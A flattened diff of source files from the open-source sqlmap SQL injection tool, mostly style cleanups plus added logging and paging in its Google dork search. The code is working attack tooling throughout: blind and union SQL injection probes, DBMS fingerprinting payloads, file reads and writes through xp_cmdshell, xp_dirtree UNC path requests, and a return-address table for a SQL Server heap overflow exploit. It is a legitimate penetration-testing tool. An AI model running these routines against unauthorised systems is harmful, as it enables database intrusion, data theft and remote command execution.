s = "".join([c or "_" for c in value]) s = "".join([c or "_" for c in value])
iolock.acquire() iolock.acquire()
dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s)) dataToStdout("\r[%s] [INFO] retrieved: %s" % (time.strftime("%X"), s))
@ -212,8 +200,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
errMsg = unhandledException() errMsg = unhandledException()
logger.error("thread %d: %s" % (numThread + 1, errMsg)) logger.error("thread %d: %s" % (numThread + 1, errMsg))
traceback.print_exc() traceback.print_exc()
# Start the threads # Start the threads
for numThread in range(numThreads): for numThread in range(numThreads):
thread = threading.Thread(target=downloadThread) thread = threading.Thread(target=downloadThread)
@ -228,7 +214,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
# can mean that the connection to the target url was lost # can mean that the connection to the target url was lost
if None in value: if None in value:
for v in value: for v in value:
if isinstance(v, str) and v != None: if isinstance(v, str) and v is not None:
partialValue += v partialValue += v
if partialValue: if partialValue:
@ -241,7 +227,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if isinstance(finalValue, str) and len(finalValue) > 0: if isinstance(finalValue, str) and len(finalValue) > 0:
dataToSessionFile(replaceNewlineTabs(finalValue)) dataToSessionFile(replaceNewlineTabs(finalValue))
if conf.verbose in ( 1, 2 ) and not showEta and infoMsg: if conf.verbose >= 1 and not showEta and infoMsg:
dataToStdout(infoMsg) dataToStdout(infoMsg)
else: else:
@ -261,10 +247,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if showEta: if showEta:
etaProgressUpdate(time.time() - charStart, index) etaProgressUpdate(time.time() - charStart, index)
elif conf.verbose in ( 1, 2 ): elif conf.verbose >= 1:
dataToStdout(val) dataToStdout(val)
if conf.verbose in ( 1, 2 ) or showEta: if conf.verbose >= 1 or showEta:
dataToStdout("\n") dataToStdout("\n")
if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3: if ( conf.verbose in ( 1, 2 ) and showEta and len(str(progress)) >= 64 ) or conf.verbose >= 3:

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import time import time
from lib.core.agent import agent from lib.core.agent import agent
@ -33,8 +31,6 @@ from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
from lib.request import inject from lib.request import inject
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def timeTest(): def timeTest():
infoMsg = "testing time based blind sql injection on parameter " infoMsg = "testing time based blind sql injection on parameter "
infoMsg += "'%s' with AND condition syntax" % kb.injParameter infoMsg += "'%s' with AND condition syntax" % kb.injParameter
@ -82,8 +78,6 @@ def timeTest():
kb.timeTest = False kb.timeTest = False
return kb.timeTest return kb.timeTest
def timeUse(query): def timeUse(query):
start = time.time() start = time.time()
_, _ = inject.goStacked(query) _, _ = inject.goStacked(query)

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.data import conf from lib.core.data import conf
@ -35,7 +33,6 @@ from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser from lib.parse.html import htmlParser
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def __unionPosition(negative=False, falseCond=False): def __unionPosition(negative=False, falseCond=False):
if negative or falseCond: if negative or falseCond:
negLogMsg = "partial (single entry)" negLogMsg = "partial (single entry)"
@ -93,7 +90,6 @@ def __unionPosition(negative=False, falseCond=False):
logger.warn(warnMsg) logger.warn(warnMsg)
def __unionConfirm(): def __unionConfirm():
# Confirm the inband SQL injection and get the exact column # Confirm the inband SQL injection and get the exact column
# position # position
@ -121,7 +117,6 @@ def __unionConfirm():
else: else:
conf.paramFalseCond = True conf.paramFalseCond = True
def __forgeUserFriendlyValue(payload): def __forgeUserFriendlyValue(payload):
value = "" value = ""
@ -139,7 +134,6 @@ def __forgeUserFriendlyValue(payload):
return value return value
def __unionTestByNULLBruteforce(comment): def __unionTestByNULLBruteforce(comment):
""" """
This method tests if the target url is affected by an inband This method tests if the target url is affected by an inband
@ -173,7 +167,6 @@ def __unionTestByNULLBruteforce(comment):
return value, columns return value, columns
def __unionTestByOrderBy(comment): def __unionTestByOrderBy(comment):
columns = None columns = None
value = None value = None
@ -197,7 +190,6 @@ def __unionTestByOrderBy(comment):
return value, columns return value, columns
def unionTest(): def unionTest():
""" """
This method tests if the target url is affected by an inband This method tests if the target url is affected by an inband

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import re import re
import time import time
@ -39,10 +37,8 @@ from lib.request.connect import Connect as Request
from lib.techniques.inband.union.test import unionTest from lib.techniques.inband.union.test import unionTest
from lib.utils.resume import resume from lib.utils.resume import resume
reqCount = 0 reqCount = 0
def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True): def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True):
""" """
This function tests for an inband SQL injection on the target This function tests for an inband SQL injection on the target
@ -60,7 +56,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
global reqCount global reqCount
if resetCounter == True: if resetCounter:
reqCount = 0 reqCount = 0
if not kb.unionCount: if not kb.unionCount:
@ -74,7 +70,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
expression = agent.concatQuery(expression, unpack) expression = agent.concatQuery(expression, unpack)
expression = unescaper.unescape(expression) expression = unescaper.unescape(expression)
if ( conf.paramNegative == True or conf.paramFalseCond == True ) and direct == False: if ( conf.paramNegative or conf.paramFalseCond ) and not direct:
_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr) _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
if len(expressionFieldsList) > 1: if len(expressionFieldsList) > 1:
@ -141,7 +137,7 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
else: else:
test = True test = True
if test == True: if test:
# Count the number of SQL query entries output # Count the number of SQL query entries output
countFirstField = queries[kb.dbms].count % expressionFieldsList[0] countFirstField = queries[kb.dbms].count % expressionFieldsList[0]
countedExpression = origExpr.replace(expressionFields, countFirstField, 1) countedExpression = origExpr.replace(expressionFields, countFirstField, 1)

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import time import time
from lib.core.common import getDelayQuery from lib.core.common import getDelayQuery
@ -33,9 +31,8 @@ from lib.core.data import logger
from lib.core.session import setStacked from lib.core.session import setStacked
from lib.request import inject from lib.request import inject
def stackedTest(): def stackedTest():
if kb.stackedTest != None: if kb.stackedTest is not None:
return kb.stackedTest return kb.stackedTest
infoMsg = "testing stacked queries support on parameter " infoMsg = "testing stacked queries support on parameter "
@ -53,7 +50,6 @@ def stackedTest():
logger.info(infoMsg) logger.info(infoMsg)
kb.stackedTest = payload kb.stackedTest = payload
else: else:
warnMsg = "the web application does not support stacked queries " warnMsg = "the web application does not support stacked queries "
warnMsg += "on parameter '%s'" % kb.injParameter warnMsg += "on parameter '%s'" % kb.injParameter

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import cookielib import cookielib
import re import re
import urllib2 import urllib2
@ -31,8 +29,9 @@ import urllib2
from lib.core.convert import urlencode from lib.core.convert import urlencode
from lib.core.data import conf from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException from lib.core.exception import sqlmapConnectionException
from lib.request.basic import decodePage
class Google: class Google:
""" """
@ -47,7 +46,6 @@ class Google:
self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj)) self.opener = urllib2.build_opener(proxyHandler, urllib2.HTTPCookieProcessor(self.__cj))
self.opener.addheaders = conf.httpHeaders self.opener.addheaders = conf.httpHeaders
def __parsePage(self, page): def __parsePage(self, page):
""" """
Parse Google dork search results page to get the list of Parse Google dork search results page to get the list of
@ -61,7 +59,6 @@ class Google:
return matches return matches
def getTargetUrls(self): def getTargetUrls(self):
""" """
This method returns the list of hosts with parameters out of This method returns the list of hosts with parameters out of
@ -72,7 +69,6 @@ class Google:
if re.search("(.*?)\?(.+)", match, re.I): if re.search("(.*?)\?(.+)", match, re.I):
kb.targetUrls.add(( match, None, None, None )) kb.targetUrls.add(( match, None, None, None ))
def getCookie(self): def getCookie(self):
""" """
This method is the first to be called when initializing a This method is the first to be called when initializing a
@ -90,23 +86,47 @@ class Google:
errMsg = "unable to connect to Google" errMsg = "unable to connect to Google"
raise sqlmapConnectionException, errMsg raise sqlmapConnectionException, errMsg
def search(self, googleDork): def search(self, googleDork):
""" """
This method performs the effective search on Google providing This method performs the effective search on Google providing
the google dork and the Google session cookie the google dork and the Google session cookie
""" """
gpage = conf.googlePage if conf.googlePage > 1 else 1
if not googleDork: if not googleDork:
return None return None
url = "http://www.google.com/search?" url = "http://www.google.com/search?"
url += "q=%s&" % urlencode(googleDork) url += "q=%s&" % urlencode(googleDork)
url += "num=100&hl=en&safe=off&filter=0&btnG=Search" url += "num=100&hl=en&safe=off&filter=0&btnG=Search"
url += "&start=%d" % ((gpage-1) * 100)
try: try:
conn = self.opener.open(url) conn = self.opener.open(url)
page = conn.read()
requestMsg = "HTTP request:\nGET %s HTTP/1.1" % url
#requestHeaders = "\n".join(["%s: %s" % (header, value) for header, value in conn.headers.items()])
#requestMsg += "\n%s" % requestHeaders
requestMsg += "\n"
logger.log(9, requestMsg)
page = conn.read()
code = conn.code
status = conn.msg
responseHeaders = conn.info()
encoding = responseHeaders.get("Content-Encoding")
page = decodePage(page, encoding)
responseMsg = "HTTP response (%s - %d):\n" % (status, code)
if conf.verbose <= 4:
responseMsg += str(responseHeaders)
elif conf.verbose > 4:
responseMsg += "%s\n%s\n" % (responseHeaders, page)
logger.log(8, responseMsg)
except urllib2.HTTPError, e: except urllib2.HTTPError, e:
page = e.read() page = e.read()
except urllib2.URLError, e: except urllib2.URLError, e:

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
from lib.core.agent import agent from lib.core.agent import agent
from lib.core.common import randomInt from lib.core.common import randomInt
from lib.core.common import randomStr from lib.core.common import randomStr
@ -34,7 +32,6 @@ from lib.core.exception import sqlmapNoneDataException
from lib.core.session import setParenthesis from lib.core.session import setParenthesis
from lib.request.connect import Connect as Request from lib.request.connect import Connect as Request
def checkForParenthesis(): def checkForParenthesis():
""" """
This method checks if the SQL injection affected parameter This method checks if the SQL injection affected parameter
@ -46,7 +43,7 @@ def checkForParenthesis():
count = 0 count = 0
if kb.parenthesis != None: if kb.parenthesis is not None:
return return
if conf.prefix or conf.postfix: if conf.prefix or conf.postfix:
@ -76,7 +73,7 @@ def checkForParenthesis():
payload = agent.payload(newValue=query) payload = agent.payload(newValue=query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result:
count = parenthesis count = parenthesis
logMsg = "the injectable parameter requires %d parenthesis" % count logMsg = "the injectable parameter requires %d parenthesis" % count

View File

@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
""" """
import binascii import binascii
import os import os
import time import time
@ -71,7 +69,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
unescaper.setUnescape(MSSQLServerMap.unescape) unescaper.setUnescape(MSSQLServerMap.unescape)
@staticmethod @staticmethod
def unescape(expression, quote=True): def unescape(expression, quote=True):
if quote: if quote:
@ -84,7 +81,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
index = expression[firstIndex:].find("'") index = expression[firstIndex:].find("'")
if index == -1: if index == -1:
raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression raise sqlmapSyntaxException("Unenclosed ' in '%s'" % expression)
lastIndex = firstIndex + index lastIndex = firstIndex + index
old = "'%s'" % expression[firstIndex:lastIndex] old = "'%s'" % expression[firstIndex:lastIndex]
@ -103,7 +100,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return expression return expression
@staticmethod @staticmethod
def escape(expression): def escape(expression):
while True: while True:
@ -115,7 +111,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
index = expression[firstIndex:].find("))") index = expression[firstIndex:].find("))")
if index == -1: if index == -1:
raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression raise sqlmapSyntaxException("Unenclosed ) in '%s'" % expression)
lastIndex = firstIndex + index + 1 lastIndex = firstIndex + index + 1
old = expression[firstIndex:lastIndex] old = expression[firstIndex:lastIndex]
@ -128,9 +124,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return expression return expression
def getFingerprint(self): def getFingerprint(self):
value = "" value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp) wsOsFp = formatFingerprint("web server", kb.headersFp)
if wsOsFp: if wsOsFp:
@ -142,23 +137,23 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if dbmsOsFp: if dbmsOsFp:
value += "%s\n" % dbmsOsFp value += "%s\n" % dbmsOsFp
value += "back-end DBMS: " value += "back-end DBMS: "
actVer = formatDBMSfp() actVer = formatDBMSfp()
if not conf.extensiveFp: if not conf.extensiveFp:
value += actVer value += actVer
return value return value
blank = " " * 15 blank = " " * 15
value += "active fingerprint: %s" % actVer value += "active fingerprint: %s" % actVer
if kb.bannerFp: if kb.bannerFp:
release = kb.bannerFp["dbmsRelease"] release = kb.bannerFp["dbmsRelease"]
version = kb.bannerFp["dbmsVersion"] version = kb.bannerFp["dbmsVersion"]
servicepack = kb.bannerFp["dbmsServicePack"] servicepack = kb.bannerFp["dbmsServicePack"]
if release and version and servicepack: if release and version and servicepack:
banVer = "Microsoft SQL Server %s " % release banVer = "Microsoft SQL Server %s " % release
banVer += "Service Pack %s " % servicepack banVer += "Service Pack %s " % servicepack
banVer += "version %s" % version banVer += "version %s" % version
@ -171,7 +166,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return value return value
def checkDbms(self): def checkDbms(self):
if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit(): if conf.dbms in MSSQL_ALIASES and kb.dbmsVersion and kb.dbmsVersion[0].isdigit():
setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0]) setDbms("Microsoft SQL Server %s" % kb.dbmsVersion[0])
@ -189,29 +183,29 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)") payload = agent.fullPayload(" AND LEN(@@VERSION)=LEN(@@VERSION)")
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result:
infoMsg = "confirming Microsoft SQL Server" infoMsg = "confirming Microsoft SQL Server"
logger.info(infoMsg) logger.info(infoMsg)
for version in ( 0, 5, 8 ): for version in (0, 5, 8):
randInt = randomInt() randInt = randomInt()
query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1)) query = " AND %d=(SELECT (CASE WHEN (( SUBSTRING((@@VERSION), 22, 1)=2 AND SUBSTRING((@@VERSION), 25, 1)=%d ) OR ( SUBSTRING((@@VERSION), 23, 1)=2 AND SUBSTRING((@@VERSION), 26, 1)=%d )) THEN %d ELSE %d END))" % (randInt, version, version, randInt, (randInt + 1))
payload = agent.fullPayload(query) payload = agent.fullPayload(query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result is True: if result:
if version == 8: if version == 8:
kb.dbmsVersion = [ "2008" ] kb.dbmsVersion = ["2008"]
break break
elif version == 5: elif version == 5:
kb.dbmsVersion = [ "2005" ] kb.dbmsVersion = ["2005"]
break break
elif version == 0: elif version == 0:
kb.dbmsVersion = [ "2000" ] kb.dbmsVersion = ["2000"]
break break
@ -220,8 +214,8 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
payload = agent.fullPayload(query) payload = agent.fullPayload(query)
result = Request.queryPage(payload) result = Request.queryPage(payload)
if result == True: if result:
kb.dbmsVersion = [ "7.0" ] kb.dbmsVersion = ["7.0"]
break break
@ -241,7 +235,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return False return False
def checkDbmsOs(self, detailed=False): def checkDbmsOs(self, detailed=False):
if kb.os and kb.osVersion and kb.osSP: if kb.os and kb.osVersion and kb.osSP:
return return
@ -249,7 +242,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not kb.os: if not kb.os:
kb.os = "Windows" kb.os = "Windows"
if detailed == False: if not detailed:
return return
infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg = "fingerprinting the back-end DBMS operating system "
@ -261,14 +254,12 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)")
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION"))
versions = { versions = {"2003": ("5.2", (2, 1)),
"2003": ( "5.2", ( 2, 1 ) ), #"2003": ("6.0", (2,1)),
#"2003": ( "6.0", ( 2, 1 ) ), "2008": ("7.0", (1,)),
"2008": ( "7.0", ( 1, ) ), "2000": ("5.0", (4, 3, 2, 1)),
"2000": ( "5.0", ( 4, 3, 2, 1 ) ), "XP": ("5.1", (2, 1)),
"XP": ( "5.1", ( 2, 1 ) ), "NT": ("4.0", (6, 5, 4, 3, 2, 1))}
"NT": ( "4.0", ( 6, 5, 4, 3, 2, 1 ) )
}
# Get back-end DBMS underlying operating system version # Get back-end DBMS underlying operating system version
for version, data in versions.items(): for version, data in versions.items():
@ -320,7 +311,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
def getPrivileges(self): def getPrivileges(self):
warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg = "on Microsoft SQL Server it is not possible to fetch "
warnMsg += "database users privileges" warnMsg += "database users privileges"
@ -328,7 +318,6 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return {} return {}
def getTables(self): def getTables(self):
infoMsg = "fetching tables" infoMsg = "fetching tables"
if conf.db: if conf.db:
@ -399,16 +388,14 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not kb.data.cachedTables: if not kb.data.cachedTables:
errMsg = "unable to retrieve the tables for any database" errMsg = "unable to retrieve the tables for any database"
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException(errMsg)
return kb.data.cachedTables return kb.data.cachedTables
def unionReadFile(self, rFile): def unionReadFile(self, rFile):
errMsg = "Microsoft SQL Server does not support file reading " errMsg = "Microsoft SQL Server does not support file reading "
errMsg += "with UNION query SQL injection technique" errMsg += "with UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException(errMsg)
def stackedReadFile(self, rFile): def stackedReadFile(self, rFile):
infoMsg = "fetching file: '%s'" % rFile infoMsg = "fetching file: '%s'" % rFile
@ -479,7 +466,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
if not count.isdigit() or not len(count) or count == "0": if not count.isdigit() or not len(count) or count == "0":
errMsg = "unable to retrieve the content of the " errMsg = "unable to retrieve the content of the "
errMsg += "file '%s'" % rFile errMsg += "file '%s'" % rFile
raise sqlmapNoneDataException, errMsg raise sqlmapNoneDataException(errMsg)
indexRange = getRange(count) indexRange = getRange(count)
@ -491,12 +478,10 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
return result return result
def unionWriteFile(self, wFile, dFile, fileType, confirm=True): def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "Microsoft SQL Server does not support file upload with " errMsg = "Microsoft SQL Server does not support file upload with "
errMsg += "UNION query SQL injection technique" errMsg += "UNION query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg raise sqlmapUnsupportedFeatureException(errMsg)
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
# NOTE: this is needed here because we use xp_cmdshell extended # NOTE: this is needed here because we use xp_cmdshell extended
@ -525,11 +510,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.debug("moving binary file %s to %s" % (sFile, dFile)) logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = ( commands = ("cd %s" % tmpPath,
"cd %s" % tmpPath, "ren %s %s" % (chunkName, dFileName),
"ren %s %s" % (chunkName, dFileName), "move /Y %s %s" % (dFileName, dFile))
"move /Y %s %s" % (dFileName, dFile)
)
complComm = " & ".join(command for command in commands) complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm) forgedCmd = self.xpCmdshellForgeCmd(complComm)
@ -545,7 +528,7 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
counter = 1 counter = 1
for i in range(0, wFileSize, debugSize): for i in range(0, wFileSize, debugSize):
wFileChunk = wFileContent[i:i+debugSize] wFileChunk = wFileContent[i:i + debugSize]
chunkName = self.updateBinChunk(wFileChunk, tmpPath) chunkName = self.updateBinChunk(wFileChunk, tmpPath)
if i == 0: if i == 0:
@ -558,11 +541,9 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName) infoMsg += "%s\%s to %s\%s" % (tmpPath, chunkName, tmpPath, dFileName)
logger.debug(infoMsg) logger.debug(infoMsg)
commands = ( commands = ("cd %s" % tmpPath,
"cd %s" % tmpPath,
copyCmd, copyCmd,
"del /F %s" % chunkName "del /F %s" % chunkName)
)
complComm = " & ".join(command for command in commands) complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm) forgedCmd = self.xpCmdshellForgeCmd(complComm)
@ -576,24 +557,20 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
logger.debug("moving binary file %s to %s" % (sFile, dFile)) logger.debug("moving binary file %s to %s" % (sFile, dFile))
commands = ( commands = ("cd %s" % tmpPath,
"cd %s" % tmpPath, "move /Y %s %s" % (dFileName, dFile))
"move /Y %s %s" % (dFileName, dFile)
)
complComm = " & ".join(command for command in commands) complComm = " & ".join(command for command in commands)
forgedCmd = self.xpCmdshellForgeCmd(complComm) forgedCmd = self.xpCmdshellForgeCmd(complComm)
self.execCmd(forgedCmd) self.execCmd(forgedCmd)
if confirm == True: if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType) self.askCheckWrittenFile(wFile, dFile, fileType)
def uncPathRequest(self): def uncPathRequest(self):
#inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True)
inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath)
def spHeapOverflow(self): def spHeapOverflow(self):
""" """
References: References:
@ -603,19 +580,19 @@ class MSSQLServerMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeov
returns = { returns = {
# 2003 Service Pack 0 # 2003 Service Pack 0
"2003-0": ( "" ), "2003-0": (""),
# 2003 Service Pack 1 # 2003 Service Pack 1
"2003-1": ( "CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 12/2008 # 2003 Service Pack 2 updated at 12/2008
#"2003-2": ( "CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ),
# 2003 Service Pack 2 updated at 05/2009 # 2003 Service Pack 2 updated at 05/2009
"2003-2": ( "CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)" ) "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)")
# 2003 Service Pack 2 updated at 09/2009 # 2003 Service Pack 2 updated at 09/2009
